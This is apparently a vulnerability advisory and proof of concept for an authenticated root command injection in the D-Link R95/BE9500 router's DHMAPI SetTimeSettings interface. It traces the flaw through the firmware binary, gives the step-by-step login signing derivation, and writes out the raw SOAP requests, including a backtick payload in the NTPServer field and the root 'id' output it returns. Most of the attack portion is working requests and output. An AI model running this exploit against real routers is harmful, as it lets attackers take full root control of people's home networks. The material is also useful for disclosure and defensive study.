
Authenticated command injection PoC for D-Link R95/BE9500 DHMAPI SetTimeSettings, achieving root RCE via NTPServer backtick injection, with full exploit script.
The D-Link R95 BE9500 Wi-Fi 7 Smart Router (firmware version BE9500_1.00.16) contains a command injection vulnerability in the DHMAPI (SOAP over HTTPS) interface when processing SetTimeSettings requests. The user-controlled <NTPServer> field is stored into the configuration database without any sanitization or validation of shell metacharacters. Subsequently, when the configuration is synchronized to UCI (ntpclient.@ntpserver[0].hostname), the vulnerable backend service constructs and executes a shell command enclosed in double quotes via a system()-like call. By injecting backticks (```) into the <NTPServer> value, an attacker can achieve command substitution — the shell evaluates the injected content before executing the concatenated command, allowing arbitrary command execution with root (uid=0) privileges.
The attack requires a valid web management session (sid) obtained through authenticated access (tested with the administrator account Admin). This vulnerability is further amplified by the device's weak default credentials or potential authentication bypass issues, significantly expanding the real-world attack surface.
An authenticated attacker can execute arbitrary commands with root privileges, leading to full compromise of the device — including reading sensitive files (e.g., /etc/rg_config/admin ciphertext, dumping full configuration backups), installing persistent backdoors, establishing reverse shells, and pivoting into the internal network for lateral movement attacks.
The vulnerability resides in the web management backend binary /bin/ssi (running as root), which implements the DHMAPI SOAP interface.
Taint source — the SetTimeSettings handler (function at offset 0x6bd84 in ssi, firmware 1.01B06):
<NTPServer> field from the SOAP request into a stack buffer, length-capped at 0x3f (63 bytes) — this is a buffer-size limit, not a security check.time.value.NTPServer via an internal setter — no filtering or escaping of shell metacharacters is performed at any point.Taint sink — configuration synchronization to UCI. ssi synchronizes configuration values by concatenating them into shell command strings executed via system()-like calls. Embedded format strings found in the binary include:
uci set %s="%s" > /dev/null
Because the value is wrapped in double quotes, the shell performs command substitution on backticks (`) / $() inside the value before running the concatenated command. Since ssi runs as root, the injected command executes with root privileges.
Timing evidence confirms the evaluation happens synchronously inside the request-handling path: injecting `sleep 10` delays the HTTP response by ~10 seconds. The poisoned value additionally persists into UCI (ntpclient.@ntpserver[0].hostname) and is later consumed unquoted by /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), a secondary hardening gap.
Exploitation constraints (verified):
| Constraint | Verified result |
|---|---|
| Field length | ≤ 63 bytes accepted; 60 bytes OK, 80 bytes rejected (HTTP 400) |
& character | Must not appear (breaks the concatenated command line) |
| Injection syntax | Backticks `cmd` verified; $(cmd) expected to work equally |
| Execution context | uid=0(root) gid=0(root) |
| Output channel | No direct echo; redirect to web root (> /www/<file>) and retrieve via HTTP GET |
All DHMAPI requests must carry:
Cookie: uid=<session cookie> (from login)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction headers matching the SOAP action, plus User-Agent and Referer (missing UA/Referer yields HTTP 400/500)ts is a millisecond timestamp; the device does not validate freshness, so a fixed value is reusableprivkey derivation:
Login / Action=request (signed with the static key string withoutloginkey) returns Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (or the plain password when SaltHash is absent)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login with the above returns <LoginResult>success</LoginResult>; subsequent requests use Cookie: uid=<step-1 Cookie> signed with privkeyPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Expected: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
Observed response body:
uid=0(root) gid=0(root)